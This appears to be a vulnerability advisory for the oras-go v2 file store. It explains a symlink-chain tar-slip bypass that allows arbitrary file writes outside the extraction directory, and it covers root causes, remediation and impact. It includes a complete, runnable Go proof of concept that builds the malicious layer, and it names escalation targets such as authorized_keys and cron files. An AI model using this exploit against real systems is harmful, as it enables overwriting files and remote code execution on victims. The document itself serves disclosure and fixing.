### Summary
The `content/file.Store` in oras-go v2 unpacks OCI layer tarballs when a descriptor carries `io.deis.oras.content.unpack=true`. The extraction routine validates symlink targets purely lexically (`filepath.Join`) and, for regular files placed directly at the extraction root, skips the parent-symlink `Lstat` walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store's working directory under the default `AllowPathTraversalOnWrite=false` configuration — a canonical tar-slip → RCE primitive.
### Details
**Affected versions:** `<= v2.6.1`
**Entry point:** `content/file/file.go` line 486, `(*Store).pushDir` — reached from `(*Store).Push` for any descriptor whose annotations include `io.deis.oras.content.unpack: "true"` (i.e. `file.AnnotationUnpack`) and an `org.opencontainers.image.title`. `oras.Copy` from a remote registry into a `file.New(dir)` store invokes this per layer.
**Root cause 1 — lexical link validation.** `content/file/utils.go` lines 264–275, `ensureLinkPath`:
```go
func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
// resolve link
path := target
if !filepath.IsAbs(target) {
path = filepath.Join(filepath.Dir(link), target)
}
// ensure path is under baseAbs or baseRel
if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
return "", err
}
return target, nil
}
```
`filepath.Join` cleans `..` components textually and does **not** dereference symlinks in intermediate components. It therefore cannot detect that a component of `target` is itself a previously-extracted symlink that the kernel will follow before applying subsequent `..` components.
**Root cause 2 — parent-symlink check skipped for root-level entries.** `content/file/utils.go` lines 247–257, inside `resolveRelToBase`:
```go
// No symbolic link allowed in the relative path
dir := filepath.Dir(path)
for dir != "." {
if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil {
...
} else if info.Mode()&os.ModeSymlink != 0 {
return "", fmt.Errorf("no symbolic link allowed between %q and %q", baseRel, target)
}
dir = filepath.Dir(dir)
}
```
For an entry named `<title>/escape`, `path == "escape"` and `filepath.Dir("escape") == "."`, so the loop body never executes — the entry itself is never `Lstat`-checked.
**Root cause 3 — write follows symlinks.** `content/file/utils.go` line 279, `writeFile`:
```go
file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)
```
No `O_NOFOLLOW`, so if `path` is a symlink the write goes to its target.
**Data flow / exploit construction.** Let `baseAbs = <workingDir>/<title>` and `N = depth(baseAbs)` (number of path components from `/`). The attacker's tar.gz contains, in order:
1. `N` nested directories `<title>/d0/d1/…/d{N-1}`.
2. A symlink `<title>/d0/…/d{N-1}/up` → `"../../…"` (`N` levels). Both lexically and on disk this resolves to `baseAbs`, so `ensureLinkPath` accepts it and `resolveRelToBase` sees only real directories in its ancestry.
3. A symlink `<title>/escape` → `"d0/…/d{N-1}/up/../../…/<absTarget>"` (`N` `..` components after `up`). **Lexically**, `filepath.Join(baseAbs, "d0/…/up/../…/<absTarget>")` cancels the `N` `..` against `up` plus `d{N-2}…d0`, yielding `baseAbs/d0/<absTarget>` — inside the root, so `ensureLinkPath` accepts it. `resolveRelToBase` then walks `d0/<absTarget-parents>`, none of which are symlinks (they don't exist), so the link is created. **At the kernel**, resolving `baseAbs/d0/…/up` first follows `up` back to `baseAbs`, and the remaining `N` `..` components climb from `baseAbs` to `/`, then `<absTarget>` is appended — the symlink points at the attacker-chosen absolute path.
4. A regular file `<title>/escape` (same name). `resolveRelToBase("escape")` yields `dir == "."` (root cause 2), so no `Lstat` is performed. `extractTarDirectory` (line 181) calls `writeFile` which opens `baseAbs/escape` with `O_TRUNC` and no `O_NOFOLLOW` (root cause 3), writing the attacker's payload through the symlink to `<absTarget>`.
**Why v2.6.1's `checkSymlinkEscape` does not help.** The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from `resolveWritePath` (`content/file/file.go` line 632) on the **`pushFile`** path. `pushDir` → `extractTarGzip` → `extractTarDirectory` never calls it; `content/file/utils.go` is byte-identical between v2.6.0 and v2.6.1.
**Suggested remediation.** Any of: (a) `Lstat` the final path component before opening for write and reject symlinks; (b) open with `O_NOFOLLOW` (or `O_EXCL` for new files); (c) resolve link targets with `filepath.EvalSymlinks` on the deepest existing ancestor (as `checkSymlinkEscape` already does) instead of lexical `filepath.Join`; (d) extract into a fresh empty directory and use `openat2(RESOLVE_BENEATH)` / `os.Root` (Go 1.24+) for all filesystem operations.
### PoC
```
go mod init poc
go get oras.land/oras-go/
[email protected]
go run .
```
```go
// Arbitrary file write outside a default-configured file.Store via
// symlink-chain bypass in content/file.extractTarDirectory.
//
// ensureLinkPath() validates symlink targets purely lexically with
// filepath.Join, which collapses ".." textually and does not follow
// intermediate symlink components. By first planting a deep "up" symlink
// that legitimately resolves to the extraction root, an "escape" symlink
// can be crafted whose lexical target stays in-bounds but whose
// kernel-resolved target is any absolute path. A follow-up TypeReg entry
// with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW),
// writing through the symlink.
//
// Realistic trigger: oras.Copy() from an untrusted registry into a
// file.New() store. The attacker controls the manifest (sets
// AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob.
// All digests are honest, so content verification passes.
package main
import (
"archive/tar"
"bytes"
"compress/gzip"
"context"
_ "crypto/sha256"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/opencontainers/go-digest"
ocispec "github.com/opencontainers/image-spec/specs-go/v1"
"oras.land/oras-go/v2/content/file"
)
func main() {
if err := run(); err != nil {
fmt.Println("ERROR:", err)
os.Exit(1)
}
}
func run() error {
ctx := context.Background()
// Victim's working directory for the file store.
workDir, err := os.MkdirTemp("", "oras-victim-*")
if err != nil {
return err
}
defer os.RemoveAll(workDir)
fmt.Println("[*] file.Store working dir:", workDir)
// Target path the attacker wants to write, OUTSIDE workDir.
// (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.;
// a temp path keeps the demo self-contained.)
outsidePath := filepath.Join(os.TempDir(), "oras-PWNED")
_ = os.Remove(outsidePath)
defer os.Remove(outsidePath)
fmt.Println("[*] attacker target (outside workDir):", outsidePath)
// The layer's AnnotationTitle. extractTarDirectory uses this as both the
// in-tar prefix and the on-disk subdir under workDir.
const title = "out"
baseAbs := filepath.Join(workDir, title)
// N nested dirs + a symlink "up" -> N*"../" so that after the kernel
// follows "up" (landing at baseAbs) the remaining N lexical ".."
// components climb from baseAbs to "/". N must be >= depth(baseAbs).
depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), "/"), "/"))
fmt.Printf("[*] baseAbs depth = %d, building %d nested dirs\n", depth, depth)
gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath)
if err != nil {
return err
}
// Descriptor exactly as it would appear in a manifest's "layers" array.
desc := ocispec.Descriptor{
MediaType: "application/vnd.oci.image.layer.v1.tar+gzip",
Digest: dgst,
Size: size,
Annotations: map[string]string{
ocispec.AnnotationTitle: title,
file.AnnotationUnpack: "true",
},
}
// Victim creates a file store with default settings (path traversal DISALLOWED).
store, err := file.New(workDir)
if err != nil {
return err
}
defer store.Close()
fmt.Println("[*] store.AllowPathTraversalOnWrite =", store.AllowPathTraversalOnWrite)
// This is exactly what oras.Copy() invokes per layer.
if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil {
return fmt.Errorf("Push: %w", err)
}
// Check whether the out-of-tree file was written.
if data, err := os.ReadFile(outsidePath); err == nil {
rel, _ := filepath.Rel(workDir, outsidePath)
fmt.Printf("\n[!] BYPASS: wrote %q to %s\n", string(data), outsidePath)
fmt.Printf("[!] relative to workDir: %s\n", rel)
fmt.Println("[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir")
return nil
}
fmt.Println("\n[-] no escape (file not created at", outsidePath, ")")
return nil
}
// buildMaliciousLayer builds a tar.gz that, when extracted by
// content/file.extractTarDirectory under <workDir>/<title>, writes to outsidePath.
func buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) {
var buf bytes.Buffer
gzw := gzip.NewWriter(&buf)
tw := tar.NewWriter(gzw)
// 1. Nested directories: title/d0/d1/.../d{depth-1}
dirs := make([]string, depth)
for i := 0; i < depth; i++ {
dirs[i] = fmt.Sprintf("d%d", i)
}
for i := 1; i <= depth; i++ {
name := title + "/" + strings.Join(dirs[:i], "/")
if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil {
return nil, "", 0, err
}
}
// 2. "up" symlink at the bottom, pointing back to baseAbs via depth*"../".
// Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath.
upName := title + "/" + strings.Join(dirs, "/") + "/up"
upTarget := strings.Repeat("../", depth-1) + ".."
if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil {
return nil, "", 0, err
}
// 3. "escape" symlink at title/escape.
// Target = d0/.../d{N-1}/up/../.. (N times) /<outsidePath>
// LEXICAL clean: the N ".." cancel "up" + (N-1) dirs, leaving
// d0/<outsidePath> - INSIDE baseAbs, so ensureLinkPath accepts it.
// KERNEL: d0/.../up follows the symlink to baseAbs, then N*".."
// climbs to "/", then appends outsidePath.
dots := strings.Repeat("../", depth-1) + ".."
escapeTarget := strings.Join(dirs, "/") + "/up/" + dots + outsidePath
if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: title + "/escape", Linkname: escapeTarget, Mode: 0o777}); err != nil {
return nil, "", 0, err
}
// 4. Regular file entry at title/escape - same path as the symlink.
// resolveRelToBase("escape") has dir=="." so the per-component Lstat
// loop never runs; writeFile opens with O_CREATE|O_TRUNC (no
// O_NOFOLLOW) and writes through the symlink to outsidePath.
payload := []byte("PWNED-BY-ORAS-TARSLIP")
if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeReg, Name: title + "/escape", Mode: 0o644, Size: int64(len(payload))}); err != nil {
return nil, "", 0, err
}
if _, err := tw.Write(payload); err != nil {
return nil, "", 0, err
}
if err := tw.Close(); err != nil {
return nil, "", 0, err
}
if err := gzw.Close(); err != nil {
return nil, "", 0, err
}
data := buf.Bytes()
return data, digest.FromBytes(data), int64(len(data)), nil
}
```
Expected output (paths vary):
```
[*] file.Store working dir: /tmp/oras-victim-209731351
[*] attacker target (outside workDir): /tmp/oras-PWNED
[*] baseAbs depth = 3, building 3 nested dirs
[*] store.AllowPathTraversalOnWrite = false
[!] BYPASS: wrote "PWNED-BY-ORAS-TARSLIP" to /tmp/oras-PWNED
[!] relative to workDir: ../oras-PWNED
[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir
```
### Impact
**Who is affected:** Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a `content/file.Store` — e.g. `oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts)`, the documented primary use of the file store — with default settings (`AllowPathTraversalOnWrite=false`, `SkipUnpack=false`). Downstream consumers include the ORAS CLI (`oras pull` to a directory) and tools built on oras-go that materialise artifact contents on disk.
**What the attacker gains:** Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting `~/.ssh/authorized_keys`, `~/.bashrc`/`~/.profile`, Git hooks, or (when running as root, e.g. in CI or a controller) `/etc/cron.d/*` or binaries on `$PATH` — i.e. remote code execution on the victim host.
**Preconditions / reachability:** No local preconditions beyond pulling an attacker-controlled artifact; the attacker does **not** need any pre-existing symlink in the victim's working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (`UI:R`).
